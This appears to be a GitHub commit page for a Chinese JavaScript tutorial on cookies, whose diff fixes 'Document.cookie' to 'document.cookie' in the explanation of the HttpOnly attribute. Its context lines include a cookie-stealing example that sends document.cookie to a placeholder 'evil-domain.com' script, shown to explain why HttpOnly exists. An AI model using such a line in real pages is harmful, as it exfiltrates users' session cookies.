We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
There was an error while loading. Please reload this page.
1 parent b2995a3 commit a6709b9Copy full SHA for a6709b9
docs/bom/cookie.md
@@ -173,7 +173,7 @@ Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;
173
174
`Secure`属性指定浏览器只有在加密协议 HTTPS 下,才能将这个 Cookie 发送到服务器。另一方面,如果当前协议是 HTTP,浏览器会自动忽略服务器发来的`Secure`属性。该属性只是一个开关,不需要指定值。如果通信是 HTTPS 协议,该开关自动打开。
175
176
-`HttpOnly`属性指定该 Cookie 无法通过 JavaScript 脚本拿到,主要是`Document.cookie`属性、`XMLHttpRequest`对象和 Request API 都拿不到该属性。这样就防止了该 Cookie 被脚本读到,只有浏览器发出 HTTP 请求时,才会带上该 Cookie。
+`HttpOnly`属性指定该 Cookie 无法通过 JavaScript 脚本拿到,主要是`document.cookie`属性、`XMLHttpRequest`对象和 Request API 都拿不到该属性。这样就防止了该 Cookie 被脚本读到,只有浏览器发出 HTTP 请求时,才会带上该 Cookie。
177
178
```javascript
179
(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;
0 commit comments